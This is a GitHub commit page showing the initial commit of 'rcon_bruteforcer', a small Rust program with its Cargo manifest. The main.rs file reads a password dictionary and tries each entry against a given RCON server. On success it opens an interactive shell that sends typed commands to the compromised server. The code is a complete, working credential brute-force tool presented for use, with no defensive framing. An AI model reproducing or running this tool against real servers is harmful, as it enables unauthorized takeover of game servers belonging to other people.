-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 85d8ba4
Showing
4 changed files
with
233 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
/target | ||
**/*.rs.bk |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
[package] | ||
name = "rcon_bruteforcer" | ||
version = "0.1.0" | ||
authors = ["Kawaii Neko Lolis <[email protected]>"] | ||
edition = "2018" | ||
|
||
[dependencies] | ||
console = "0.9.1" | ||
rcon = "0.1.0" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
extern crate rcon; | ||
|
||
use std::io::{stdin, BufReader, BufRead}; | ||
use rcon::Connection; | ||
use std::process::exit; | ||
use std::env; | ||
use std::fs::File; | ||
use console::style; | ||
|
||
fn main() { | ||
// Welcome message | ||
println!("{} {} by {}", style("RCON").red().bold(), style("Bruteforcer").red(), | ||
style("CCBlueX").blue().bold()); | ||
|
||
// User input via launch arguments | ||
let args: Vec<String> = env::args().collect(); | ||
|
||
if args.len() <= 2 { | ||
println!("./rcon-bruteforce [server] [dictionary]"); | ||
return; | ||
} | ||
|
||
// TODO: Check if addr is valid | ||
let server = &args[1]; | ||
|
||
// TODO: Add pattern support | ||
let dict = &args[2]; | ||
|
||
// Just to verify user input | ||
println!("{}: {}", style("Server").magenta(), server); | ||
println!("{}: {}", style("Dictionary").magenta(), dict); | ||
println!(); // Empty line break | ||
|
||
match File::open(dict) { | ||
Ok(file) => { | ||
let reader = BufReader::new(file); | ||
|
||
// TODO: Add multi threading support | ||
for line in reader.lines() { | ||
connect(server, line.unwrap().as_str()) | ||
} | ||
} | ||
Err(e) => println!("{}", e) | ||
} | ||
} | ||
|
||
fn connect(addr: &str, password: &str) { | ||
// Connect to server and try password | ||
match Connection::connect(addr, password) { | ||
Ok(conn) => { | ||
// Connection established with correct password | ||
println!("{}\n", style(format!("Connection established to {} using '{}' as password!", | ||
addr, password)).green().bold()); | ||
|
||
handle_session(conn) | ||
}, | ||
// Connection failed or password wrong (Auth!) | ||
Err(e) => println!("{}", style(format!("Connection failed to {} using '{}' because of {:?} error!", | ||
addr, password, e)).red()) // Used {:?} for their names. As example "Auth" instead of "authentication failed" | ||
} | ||
} | ||
|
||
fn handle_session(mut connection: Connection) { | ||
let line = &mut String::new(); | ||
|
||
loop { | ||
// Read line from stdin to buffer | ||
match stdin().read_line(line) { | ||
Ok(_) => { | ||
// Exec command | ||
match connection.cmd(line) { | ||
Ok(response) => println!("{}", response), // Successfully executed command | ||
|
||
// TODO: Fix library (IO error: Could not read enough bytes) | ||
Err(e) => println!("{}", e) // Something went wrong while sending command to server | ||
} | ||
} | ||
Err(_) => exit(1) | ||
} | ||
} | ||
} |